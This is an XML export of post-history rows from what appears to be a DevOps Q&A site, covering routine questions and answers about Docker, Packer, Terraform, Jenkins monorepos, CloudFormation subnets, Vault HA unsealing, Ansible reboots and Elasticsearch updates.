  <row Id="25508" PostHistoryTypeId="2" PostId="8712" RevisionGUID="caa5519e-6239-4012-97fe-f688cfd88ca6" CreationDate="2019-07-25T15:51:20.913" UserId="16201" Text="I run all my services as Docker containers on Linux by default. Recently got an order from a very large company to deploy to their Windows Servers. They have a very specific request for all application logs to appear in the host machine's EventLog. Their administrators don't know much about Docker and they don't want a centralised logging solution, like Kibana, for this deployment.&#xD;&#xA;&#xD;&#xA;Is there a feasible way to achieve that on Windows?&#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;The services are all written in .NET Core 2.2." ContentLicense="CC BY-SA 4.0" />
  <row Id="25509" PostHistoryTypeId="1" PostId="8712" RevisionGUID="caa5519e-6239-4012-97fe-f688cfd88ca6" CreationDate="2019-07-25T15:51:20.913" UserId="16201" Text="Docker on Windows: Write directly to host's EventLog?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25510" PostHistoryTypeId="3" PostId="8712" RevisionGUID="caa5519e-6239-4012-97fe-f688cfd88ca6" CreationDate="2019-07-25T15:51:20.913" UserId="16201" Text="&lt;docker&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25511" PostHistoryTypeId="2" PostId="8713" RevisionGUID="2f052616-9d77-4cde-b241-465e870686f3" CreationDate="2019-07-25T16:02:04.223" UserId="354" Text="I would use a [Packer template](https://www.packer.io/), specifically with a [Docker builder](https://www.packer.io/docs/builders/docker.html) to do this. Triggering this build can be done with hooks (either BitBucket webhooks, or [git server post-receive hooks](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks).&#xD;&#xA;&#xD;&#xA;Building a Docker image from a Packer template has some benefits, but requires [Docker Engine](https://docs.docker.com/engine/installation/) installed - so, doing the build with a Dockerfile would also be an option.&#xD;&#xA;&#xD;&#xA;The tricky part would be the management of credentials. Building the image does not require credentials, nor does tagging -- however you need to be authenticated to push the image to the registry. If the build happens on the same server that is hosting BitBucket, you could keep them in a protected file and execute the build via the post-receive hook in a shell script. This would be a lightweight option, especially if the server itself is locked down.&#xD;&#xA;&#xD;&#xA;So, in summary : &#xD;&#xA;&#xD;&#xA; 1. Install Docker Engine on the BitBucket Server&#xD;&#xA; 1. Write a script which can consume registry username and password, to build the image, either from a Dockerfile or from a Packer template.&#xD;&#xA; 1. Add a server-side git hook to execute this script to build, tag and push the image.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25513" PostHistoryTypeId="2" PostId="8714" RevisionGUID="38030854-1946-4380-b909-fcf62dc66dc8" CreationDate="2019-07-25T23:10:57.940" UserId="2708" Text="Terraform v0.12 added support for Dynamic Nested Blocks. The following example is derived from their [blog post][1] about the new features (see section [Dynamic Nested Blocks][2]):&#xD;&#xA;&#xD;&#xA;    locals {&#xD;&#xA;      standard_tags = {&#xD;&#xA;        Name    = var.cluster_prefix&#xD;&#xA;        Owner   = var.tag_Owner&#xD;&#xA;        Project = var.tag_Project&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_autoscaling_group&quot; &quot;example&quot; {&#xD;&#xA;      # ...&#xD;&#xA;    &#xD;&#xA;      dynamic &quot;tag&quot; {&#xD;&#xA;        for_each = local.standard_tags&#xD;&#xA;    &#xD;&#xA;        content {&#xD;&#xA;          key                 = tag.key&#xD;&#xA;          value               = tag.value&#xD;&#xA;          propagate_at_launch = true&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.hashicorp.com/blog/hashicorp-terraform-0-12-preview-for-and-for-each&#xD;&#xA;  [2]: https://www.hashicorp.com/blog/hashicorp-terraform-0-12-preview-for-and-for-each#dynamic-nested-blocks" ContentLicense="CC BY-SA 4.0" />
  <row Id="25514" PostHistoryTypeId="5" PostId="2115" RevisionGUID="21cfec03-fcac-4431-ab60-62d814bfcd83" CreationDate="2019-07-25T23:15:02.573" UserId="2708" Comment="added 221 characters in body" Text="To attach multiple tags to a resource, I currently use multiple `tag` blocks:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_autoscaling_group&quot; &quot;instance&quot; {&#xD;&#xA;      ...&#xD;&#xA;    &#xD;&#xA;      tag {&#xD;&#xA;        key                 = &quot;Name&quot;&#xD;&#xA;        value               = &quot;${var.cluster_prefix}&quot;&#xD;&#xA;        propagate_at_launch = true&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      tag {&#xD;&#xA;        key                 = &quot;Owner&quot;&#xD;&#xA;        value               = &quot;${var.tag_Owner}&quot;&#xD;&#xA;        propagate_at_launch = true&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      tag {&#xD;&#xA;        key                 = &quot;Project&quot;&#xD;&#xA;        value               = &quot;${var.tag_Project}&quot;&#xD;&#xA;        propagate_at_launch = true&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;It works, but I wonder if there is a more concise syntax. It is also a bit error prone as you have to specify `propagate_at_launch` for each tag.&#xD;&#xA;&#xD;&#xA;**Update:** The question was written before Terrafrom v0.12 came out. Since then the support has improved with [Dynamic Nested Blocks][1] (see my [answer below][2]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.hashicorp.com/blog/hashicorp-terraform-0-12-preview-for-and-for-each#dynamic-nested-blocks&#xD;&#xA;  [2]: https://devops.stackexchange.com/a/8714/2708" ContentLicense="CC BY-SA 4.0" />
  <row Id="25515" PostHistoryTypeId="2" PostId="8715" RevisionGUID="fe054fe8-3da3-4f43-9d88-a99a13e71389" CreationDate="2019-07-25T23:34:05.890" UserId="2708" Text="First, make sure that packer runs in debug mode (`packer build -debug ...`), otherwise the temporary key will not be written to disk but will only be kept in memory.&#xD;&#xA;&#xD;&#xA;packer will store the key in its working directory. In other words, look in the same directory from which you started the packer process.&#xD;&#xA;&#xD;&#xA;If you use AWS, the file will be called `ec2_amazon-ebs.pem`. Assuming you are building an Ubuntu image, you should be able to login to the instance with this command:&#xD;&#xA;&#xD;&#xA;    ssh -i ec2_amazon-ebs.pem ubuntu@&lt;ip&gt;&#xD;&#xA;&#xD;&#xA;(where `&lt;ip&gt;` can be found in the packer output or through the AWS console)" ContentLicense="CC BY-SA 4.0" />
  <row Id="25516" PostHistoryTypeId="2" PostId="8716" RevisionGUID="744966d3-5982-42b6-9b90-be5c711c675e" CreationDate="2019-07-25T23:48:30.217" UserId="2708" Text="Fortunately, the situation has improved and the problem no longer exists.&#xD;&#xA;&#xD;&#xA;Terraform supports in-place updates of the number of shards now. To quote from the updated [documentation][1]:&#xD;&#xA;&#xD;&#xA;&gt; `num_node_groups` Specify the number of node groups (shards) for this Redis replication group. Changing this number will trigger an online resizing operation before other settings modifications.&#xD;&#xA;&#xD;&#xA;(Before, it ended with *Changing this number will force a new resource.*)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/aws/r/elasticache_replication_group.html#num_node_groups" ContentLicense="CC BY-SA 4.0" />
  <row Id="25517" PostHistoryTypeId="2" PostId="8717" RevisionGUID="65cd43c4-a7a3-41df-8018-527e3779e62e" CreationDate="2019-07-26T01:00:13.693" UserId="16209" Text="Need bit of help regarding Jenkins CI jobs. I am pretty new to Jenkins world &#xD;&#xA;&#xD;&#xA;As per the current set up in our project we have different repository in GIT and they have web hooks setup with Jenkins to trigger CI jobs in the event of any push. Please note there are separate CI job for different repo.&#xD;&#xA;&#xD;&#xA;My requirements is :-&#xD;&#xA;&#xD;&#xA;1.	To build a mono repo which will consist all existing repos. ( for test purpose I have created 2 repos and merged them in mono repo ).&#xD;&#xA;2.	Set up Jenkins job which will trigger task only for repo where PUSH has occurred.&#xD;&#xA;e.g if my monorepo consist 2 merged repos repo1 and repo2 , so if any changes in repo1 should trigger only related task for repo1 and likewise for repo2.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I’m not sure how could I achieve point 2. Any help will be greatly appreciated.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25518" PostHistoryTypeId="1" PostId="8717" RevisionGUID="65cd43c4-a7a3-41df-8018-527e3779e62e" CreationDate="2019-07-26T01:00:13.693" UserId="16209" Text="GIT Monorepo with enterprise Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="25519" PostHistoryTypeId="3" PostId="8717" RevisionGUID="65cd43c4-a7a3-41df-8018-527e3779e62e" CreationDate="2019-07-26T01:00:13.693" UserId="16209" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25520" PostHistoryTypeId="50" PostId="4290" RevisionGUID="87cde628-aed5-444c-b175-43f6629df9b5" CreationDate="2019-07-26T01:02:30.360" UserId="-1" />
  <row Id="25521" PostHistoryTypeId="2" PostId="8718" RevisionGUID="9eb6ee03-53a1-4320-8509-0fe289b4144c" CreationDate="2019-07-26T05:40:04.983" UserId="15771" Text="I'm writing a few templates to create a stack on demand.&#xD;&#xA;Because of the concurrent VPC limitations (5 to start), I'm attempting to create all the feature-based dev environments on a single VPC and mostly divide the stacks by subnets. The idea is that every stack will have 2 private and 2 public subnets.&#xD;&#xA;I know I can get specific CIDRs with something like this (YAML):&#xD;&#xA;&#xD;&#xA;    !Select [ 0, !Cidr [ !GetAtt MyVpc.CidrBlock, 1, 8 ]]&#xD;&#xA;&#xD;&#xA;But I need to make sure I'm getting CIDRs that are not being used by some of the other stacks since.&#xD;&#xA;Programmatically, I would get all CIDR blocks from the VPC and then filter all the ones that are used by other subnets, to get a final array (or simply return x items from the array).&#xD;&#xA;&#xD;&#xA;**Is getting a block of free CIDRs or a single free one something I can do with the intrinsic functions?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="25522" PostHistoryTypeId="1" PostId="8718" RevisionGUID="9eb6ee03-53a1-4320-8509-0fe289b4144c" CreationDate="2019-07-26T05:40:04.983" UserId="15771" Text="Get available CIDRs from existing VPC" ContentLicense="CC BY-SA 4.0" />
  <row Id="25523" PostHistoryTypeId="3" PostId="8718" RevisionGUID="9eb6ee03-53a1-4320-8509-0fe289b4144c" CreationDate="2019-07-26T05:40:04.983" UserId="15771" Text="&lt;amazon-web-services&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25524" PostHistoryTypeId="2" PostId="8719" RevisionGUID="80d0ba54-c9b8-4970-8dd0-42dabe819946" CreationDate="2019-07-26T06:13:21.410" UserId="8800" Text="Don't worry about putting each stack in its own set of subnets, that's an overkill. &#xD;&#xA;&#xD;&#xA;Simply make the resources' **Security Groups** refer to other *SGs* in your stack templates and not to subnet CIDRs. &#xD;&#xA;&#xD;&#xA;What that means is for example the RDS SG sg-123456 will permit traffic from App SG sg-9876543 and not from the App subnet 10.20.30.0/24 you'll be fine from the network isolation perspective.&#xD;&#xA;&#xD;&#xA;We usually have the VPC infrastructure shared for dev, test and feature stacks. That's perfectly fine. Moreover we also use **[CloudFormation Exports](https://aws.nz/best-practice/cloudformation-exports/)** to simplify the templates.&#xD;&#xA;&#xD;&#xA;Hope that helps :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="25525" PostHistoryTypeId="50" PostId="6244" RevisionGUID="8bc60b97-1370-4992-a90e-907b5f47ed29" CreationDate="2019-07-26T08:01:20.130" UserId="-1" />
  <row Id="25526" PostHistoryTypeId="2" PostId="8720" RevisionGUID="8484b27d-da92-4e72-b6d0-68258f73b925" CreationDate="2019-07-26T13:33:01.427" UserDisplayName="user8517" Text="I have a 3 node docker swarm cluster and I am trying to get the IPs of each one via `docker node inspect node-1 --format '{{ .Status.Addr  }}'` but I am having an issue where when the node I am trying for (example `node-1` from above), that I get back `0.0.0.0`. This only happens on the leader node, the others work just fine.&#xD;&#xA;&#xD;&#xA;What is happening in this case? Also, how can I use docker commands to get the IP of all the nodes when checking with their hostnames or `docker node ls`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25527" PostHistoryTypeId="1" PostId="8720" RevisionGUID="8484b27d-da92-4e72-b6d0-68258f73b925" CreationDate="2019-07-26T13:33:01.427" UserDisplayName="user8517" Text="Command returns 0.0.0.0 for IP but only for leader" ContentLicense="CC BY-SA 4.0" />
  <row Id="25528" PostHistoryTypeId="3" PostId="8720" RevisionGUID="8484b27d-da92-4e72-b6d0-68258f73b925" CreationDate="2019-07-26T13:33:01.427" UserDisplayName="user8517" Text="&lt;docker&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25529" PostHistoryTypeId="2" PostId="8721" RevisionGUID="69d3db25-fe2e-469f-b70b-39a665ad7870" CreationDate="2019-07-26T14:33:05.570" UserId="9649" Text="My goal has been to setup Vault in HA mode.&#xD;&#xA;&#xD;&#xA;Based on the docs, I was under the assumption that if you had a node that is in 'standby' it would forward to the active node, thus not having to unseal (assuming the active node was already unsealed). Right now, non of the nodes forward/redirect - they just serve the Vault UI.&#xD;&#xA;&#xD;&#xA;Here's my existing Vault config:&#xD;&#xA;&#xD;&#xA;    ui = true&#xD;&#xA;    api_addr = &quot;https://{{inventory_hostname}}:8200&quot;&#xD;&#xA;    cluster_addr = &quot;https://{{inventory_hostname}}:8201&quot;&#xD;&#xA;    &#xD;&#xA;    storage &quot;etcd&quot; {&#xD;&#xA;      address  = &quot;https://etcdhost:2379&quot;&#xD;&#xA;      etcd_api = &quot;v3&quot;&#xD;&#xA;      ha_enabled = &quot;true&quot;&#xD;&#xA;      tls_ca_file = &quot;{{tls_path}}rootCA.crt&quot;&#xD;&#xA;      tls_cert_file = &quot;{{tls_path}}etcd.crt&quot;&#xD;&#xA;      tls_key_file = &quot;{{tls_path}}etcd.key&quot;&#xD;&#xA;      path = &quot;{{etcd_path}}&quot;&#xD;&#xA;    }&#xD;&#xA;     &#xD;&#xA;    listener &quot;tcp&quot; {&#xD;&#xA;      address     = &quot;0.0.0.0:8200&quot;&#xD;&#xA;      tls_cert_file=&quot;{{tls_path}}etcd.crt&quot;&#xD;&#xA;      tls_key_file=&quot;{{tls_path}}etcd.key&quot;&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="25530" PostHistoryTypeId="1" PostId="8721" RevisionGUID="69d3db25-fe2e-469f-b70b-39a665ad7870" CreationDate="2019-07-26T14:33:05.570" UserId="9649" Text="When setting up HashiCorp Vault in HA mode, is it normal that you have to unseal each Vault node?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25531" PostHistoryTypeId="3" PostId="8721" RevisionGUID="69d3db25-fe2e-469f-b70b-39a665ad7870" CreationDate="2019-07-26T14:33:05.570" UserId="9649" Text="&lt;hashicorp-vault&gt;&lt;high-availability&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25532" PostHistoryTypeId="50" PostId="6484" RevisionGUID="20311259-dc2d-42db-ae9e-4dc9a95ad73f" CreationDate="2019-07-26T16:03:15.467" UserId="-1" />
  <row Id="25533" PostHistoryTypeId="5" PostId="8718" RevisionGUID="e2cbc58b-92c2-44db-91c0-7d32edf8edc8" CreationDate="2019-07-26T17:41:17.330" UserId="15771" Comment="deleted 7 characters in body" Text="I'm writing a few templates to create a stack on demand.&#xD;&#xA;Because of the concurrent VPC limitations (5 to start), I'm attempting to create all the feature-based dev environments on a single VPC and mostly divide the stacks by subnets. The idea is that every stack will have 2 private and 2 public subnets.&#xD;&#xA;I know I can get specific CIDRs with something like this (YAML):&#xD;&#xA;&#xD;&#xA;    !Select [ 0, !Cidr [ !GetAtt MyVpc.CidrBlock, 1, 8 ]]&#xD;&#xA;&#xD;&#xA;But I need to make sure I'm getting CIDRs that are not being used by some of the other stack.&#xD;&#xA;Programmatically, I would get all CIDR blocks from the VPC and then filter all the ones that are used by other subnets, to get a final array (or simply return x items from the array).&#xD;&#xA;&#xD;&#xA;**Is getting a block of free CIDRs or a single free one something I can do with the intrinsic functions?**" ContentLicense="CC BY-SA 4.0" />
  <row Id="25534" PostHistoryTypeId="2" PostId="8722" RevisionGUID="c7f80e5a-1a45-431f-8bd2-251a74d661fb" CreationDate="2019-07-26T18:22:07.683" UserId="16151" Text="To get Let's Encrypt HTTPS certificates for their Web sites, I'm aware of quite a few folks using [a particular role, which wraps Certbot](https://galaxy.ansible.com/geerlingguy/certbot), a standalone application not native to Ansible.&#xD;&#xA;&#xD;&#xA;There is, however, a native Ansible module called [acme_certificate](https://docs.ansible.com/ansible/latest/modules/acme_certificate_module.html), and [at least one accompanying role that wraps it](https://galaxy.ansible.com/felixfontein/acme_certificate).&#xD;&#xA;&#xD;&#xA;It seems to me that it would make sense to native Ansible modules whenever possible, but are there reasons for not doing so in this particular case?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25535" PostHistoryTypeId="1" PostId="8722" RevisionGUID="c7f80e5a-1a45-431f-8bd2-251a74d661fb" CreationDate="2019-07-26T18:22:07.683" UserId="16151" Text="What are some reasons for using an Ansible role for Certbot vs. Ansible's native `acme_certificate` module?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25536" PostHistoryTypeId="3" PostId="8722" RevisionGUID="c7f80e5a-1a45-431f-8bd2-251a74d661fb" CreationDate="2019-07-26T18:22:07.683" UserId="16151" Text="&lt;ansible&gt;&lt;certbot&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25545" PostHistoryTypeId="2" PostId="8723" RevisionGUID="f0329b28-ca82-490c-a035-b240e3c42f74" CreationDate="2019-07-27T02:21:43.220" UserId="16221" Text="Are there established CI/CD strategies &amp; best practices for working with a distributed team on a project that is utilizing monorepos?&#xD;&#xA;&#xD;&#xA;I can provide two specific use-cases:&#xD;&#xA;&#xD;&#xA;1. Working on content distribution, e.g. a daily/weekly HTML email newsletter, and&#xD;&#xA;&#xD;&#xA;2. A multi-project directory for building LaTeX documents&#xD;&#xA;&#xD;&#xA;Both of these scenarios will utilize the same CI/CD pipeline (build/send an email, compile and upload a LaTeX document) but with a growing &amp; variable amount of content that makes independent repos per document undesirable.&#xD;&#xA;&#xD;&#xA;Most of the projects using monorepos currently seem to be javascript projects with a lot of cross-dependencies on code. This is a step a way from that, but I'd still like to embrace the audit trail of version control with an automated development process for producing content.&#xD;&#xA;&#xD;&#xA;Do these projects compile every piece of code on change? Is there a way to embrace a git diff or use some sort of 'flag' file in the repo root to use CI/CD tools with a monorepo?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25546" PostHistoryTypeId="1" PostId="8723" RevisionGUID="f0329b28-ca82-490c-a035-b240e3c42f74" CreationDate="2019-07-27T02:21:43.220" UserId="16221" Text="Git-based CI/CD Pipeline for Monorepo" ContentLicense="CC BY-SA 4.0" />
  <row Id="25547" PostHistoryTypeId="3" PostId="8723" RevisionGUID="f0329b28-ca82-490c-a035-b240e3c42f74" CreationDate="2019-07-27T02:21:43.220" UserId="16221" Text="&lt;continuous-integration&gt;&lt;git&gt;&lt;travis-ci&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25548" PostHistoryTypeId="12" PostId="8723" RevisionGUID="fd7b51e5-6cc5-4bbd-9924-ed6e9ff3f9f2" CreationDate="2019-07-27T02:43:41.313" UserId="16221" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:16221,&quot;DisplayName&quot;:&quot;Jared&quot;}]}" />
  <row Id="25549" PostHistoryTypeId="2" PostId="8724" RevisionGUID="f4f6da90-b2b1-4962-b799-ab97df4e6a55" CreationDate="2019-07-27T03:22:04.810" UserId="2494" Text="I am working with devs wishing to replace Exceptionless, a Real-time exception reporting tool.&#xD;&#xA;&#xD;&#xA;They wish to send the exceptions from a web app that they would previously send to Exceptionless to our ELK stack.&#xD;&#xA;&#xD;&#xA;I am only experienced with using Beats to ship data to ELK. &#xD;&#xA;&#xD;&#xA;In the past I have written custom code to do similar things like this, but we shipped to Splunk, not ELK.&#xD;&#xA;&#xD;&#xA;How friendly is the process of sending information to ELK via REST? Are their tips, tricks and/or pitfalls?&#xD;&#xA;&#xD;&#xA;Is this a supported, recommended, and good way to do exception logging/reporting/analytics/etc. " ContentLicense="CC BY-SA 4.0" />
  <row Id="25550" PostHistoryTypeId="1" PostId="8724" RevisionGUID="f4f6da90-b2b1-4962-b799-ab97df4e6a55" CreationDate="2019-07-27T03:22:04.810" UserId="2494" Text="Sending Exceptions to Elastic Stack via REST" ContentLicense="CC BY-SA 4.0" />
  <row Id="25551" PostHistoryTypeId="3" PostId="8724" RevisionGUID="f4f6da90-b2b1-4962-b799-ab97df4e6a55" CreationDate="2019-07-27T03:22:04.810" UserId="2494" Text="&lt;elastic&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25552" PostHistoryTypeId="50" PostId="8355" RevisionGUID="17fe238b-46d8-440a-bc01-94ea5bf20a66" CreationDate="2019-07-27T07:01:40.217" UserId="-1" />
  <row Id="25553" PostHistoryTypeId="2" PostId="8725" RevisionGUID="6f403775-c4b0-499f-8f0a-76a441cf4434" CreationDate="2019-07-27T07:40:12.430" UserId="14770" Text="I have 3 scripts that must be on server one by one. for example:  &#xD;&#xA;&#xD;&#xA;    - name: find config&#xD;&#xA;      shell: /data/scripts/config1&#xD;&#xA;      become: yes&#xD;&#xA;      become_user: root&#xD;&#xA;      tags: find_config&#xD;&#xA; &#xD;&#xA;    - name: change config&#xD;&#xA;      shell: /data/scripts/config2&#xD;&#xA;      become: yes&#xD;&#xA;      become_user: root&#xD;&#xA;      tags: change_config&#xD;&#xA;&#xD;&#xA;    - name: confirm config&#xD;&#xA;      shell: /data/scripts/config3&#xD;&#xA;      become: yes&#xD;&#xA;      become_user: dbusr1&#xD;&#xA;      tags: confirm_config&#xD;&#xA;&#xD;&#xA;in second script `config2` there is a reboot command and then the rest of script will be run at start up. something like this:  &#xD;&#xA;&#xD;&#xA;    some variables&#xD;&#xA;    .&#xD;&#xA;    .&#xD;&#xA;    commands before reboot&#xD;&#xA;    .&#xD;&#xA;    .&#xD;&#xA;    reboot command&#xD;&#xA;    .&#xD;&#xA;    .&#xD;&#xA;    commands that run at start up&#xD;&#xA;&#xD;&#xA;does this reboot affect ansible tasks? how i can write tasks that wait until `commands that run at start up` be run then execute `config3`? is this even possible in ansible? what modules should i use?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25554" PostHistoryTypeId="1" PostId="8725" RevisionGUID="6f403775-c4b0-499f-8f0a-76a441cf4434" CreationDate="2019-07-27T07:40:12.430" UserId="14770" Text="reboot server during Ansible tasks" ContentLicense="CC BY-SA 4.0" />
  <row Id="25555" PostHistoryTypeId="3" PostId="8725" RevisionGUID="6f403775-c4b0-499f-8f0a-76a441cf4434" CreationDate="2019-07-27T07:40:12.430" UserId="14770" Text="&lt;ansible&gt;&lt;linux&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25556" PostHistoryTypeId="2" PostId="8726" RevisionGUID="13f90110-ba4a-4ef1-b542-4f57d657a182" CreationDate="2019-07-27T09:24:44.550" UserId="210" Text="https://docs.ansible.com/ansible/latest/modules/reboot_module.html&#xD;&#xA;&#xD;&#xA;&gt;     - name: Unconditionally reboot the machine with all defaults&#xD;&#xA;&gt;       reboot:&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     - name: Reboot a slow machine that might have lots of updates to apply&#xD;&#xA;&gt;       reboot:&#xD;&#xA;&gt;         reboot_timeout: 3600&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25557" PostHistoryTypeId="2" PostId="8727" RevisionGUID="2addd91c-0a9f-4dce-844b-6c6bd921f3d7" CreationDate="2019-07-27T09:26:46.787" UserId="210" Text="https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-update.html&#xD;&#xA;&#xD;&#xA;&gt;     POST test/_update/1&#xD;&#xA;&gt;     {&#xD;&#xA;&gt;         &quot;script&quot; : {&#xD;&#xA;&gt;             &quot;source&quot;: &quot;if (ctx._source.tags.contains(params.tag)) { ctx._source.tags.remove(ctx._source.tags.indexOf(params.tag)) }&quot;,&#xD;&#xA;&gt;             &quot;lang&quot;: &quot;painless&quot;,&#xD;&#xA;&gt;             &quot;params&quot; : {&#xD;&#xA;&gt;                 &quot;tag&quot; : &quot;blue&quot;&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;     }" ContentLicense="CC BY-SA 4.0" />
  <row Id="25558" PostHistoryTypeId="2" PostId="8728" RevisionGUID="01e0a4e3-a33c-4ae2-9835-2e106aeeeaac" CreationDate="2019-07-27T09:30:51.730" UserId="210" Text="According the documentation, each vault has to be unsealed in a HA setup.&#xD;&#xA;&#xD;&#xA;https://learn.hashicorp.com/vault/operations/ops-vault-ha-consul&#xD;&#xA;&#xD;&#xA;&gt; Now you need to initializing and unsealing each Vault instance.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # Initialize vault_s1&#xD;&#xA;&gt;     $ vault operator init&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     # Unseal the vault_s1&#xD;&#xA;&gt;     $ vault operator unseal &lt;unseal_key_1&gt;&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     $ vault operator unseal &lt;unseal_key_2&gt;&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     $ vault operator unseal &lt;unseal_key_3&gt;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25559" PostHistoryTypeId="5" PostId="8728" RevisionGUID="f0b3d492-2660-4fd9-8f95-133bd09a2c68" CreationDate="2019-07-27T09:35:58.870" UserId="210" Comment="added 14 characters in body" Text="According to [this documentation][1], each vault has to be unsealed in a HA setup.&#xD;&#xA;&#xD;&#xA;&gt; Now you need to initializing and unsealing each Vault instance.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # Initialize vault_s1&#xD;&#xA;&gt;     $ vault operator init&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     # Unseal the vault_s1&#xD;&#xA;&gt;     $ vault operator unseal &lt;unseal_key_1&gt;&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     $ vault operator unseal &lt;unseal_key_2&gt;&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     $ vault operator unseal &lt;unseal_key_3&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://learn.hashicorp.com/vault/operations/ops-vault-ha-consul" ContentLicense="CC BY-SA 4.0" />
  <row Id="25560" PostHistoryTypeId="2" PostId="8729" RevisionGUID="c3af9d14-5051-4cb8-b939-08f49ee3cb33" CreationDate="2019-07-27T09:45:16.243" UserId="210" Text="My personal opinion is that each deliverable should reside in its own repository. However if one would like to keep the monorepo one could use [`changeset` in conjunction with `when`][1]:&#xD;&#xA;&#xD;&#xA;&gt;     pipeline {&#xD;&#xA;&gt;         agent any&#xD;&#xA;&gt;         stages {&#xD;&#xA;&gt;             stage('build matchengine') {&#xD;&#xA;&gt;                 when {&#xD;&#xA;&gt;                     changeset &quot;**/matchengine/*.*&quot;&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;                 steps {&#xD;&#xA;&gt;                     echo 'building match engine'&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;             stage('build posttrade') {&#xD;&#xA;&gt;                 when {&#xD;&#xA;&gt;                     changeset &quot;**/posttrade/*.*&quot;&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;                 steps {&#xD;&#xA;&gt;                     echo 'building post trade'&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;or [change the directory in several build stage and build the code inside this directory][2]:&#xD;&#xA;&#xD;&#xA;&gt;     stage('Build') {&#xD;&#xA;&gt;       dir('web_app') {&#xD;&#xA;&gt;         sh 'ls'&#xD;&#xA;&gt;         sh 'git pull'&#xD;&#xA;&gt;       }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;One could also decide to use the [parallel option][3] to ensure that the build times will be shortened:&#xD;&#xA;&#xD;&#xA;&gt;     /* .. snip .. */&#xD;&#xA;&gt;     stage('run-parallel-branches') {&#xD;&#xA;&gt;       steps {&#xD;&#xA;&gt;         parallel(&#xD;&#xA;&gt;           a: {&#xD;&#xA;&gt;             echo &quot;This is branch a&quot;&#xD;&#xA;&gt;           },&#xD;&#xA;&gt;           b: {&#xD;&#xA;&gt;             echo &quot;This is branch b&quot;&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         )&#xD;&#xA;&gt;       }&#xD;&#xA;&gt;     }&#xD;&#xA;&gt;     /* .. snip .. */&#xD;&#xA;&#xD;&#xA;Regarding:&#xD;&#xA;&#xD;&#xA;&gt; Set up Jenkins job which will trigger task only for repo where PUSH&#xD;&#xA;&gt; has occurred. e.g if my monorepo consist 2 merged repos repo1 and&#xD;&#xA;&gt; repo2 , so if any changes in repo1 should trigger only related task&#xD;&#xA;&gt; for repo1 and likewise for repo2.&#xD;&#xA;&#xD;&#xA;I think that `changeset` would be most useful: a change will trigger the build, but as a change only occurred in a certain path, only that build will be started.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/6678/210&#xD;&#xA;  [2]: https://stackoverflow.com/a/49189040/2777965&#xD;&#xA;  [3]: https://jenkins.io/blog/2017/09/25/declarative-1/" ContentLicense="CC BY-SA 4.0" />
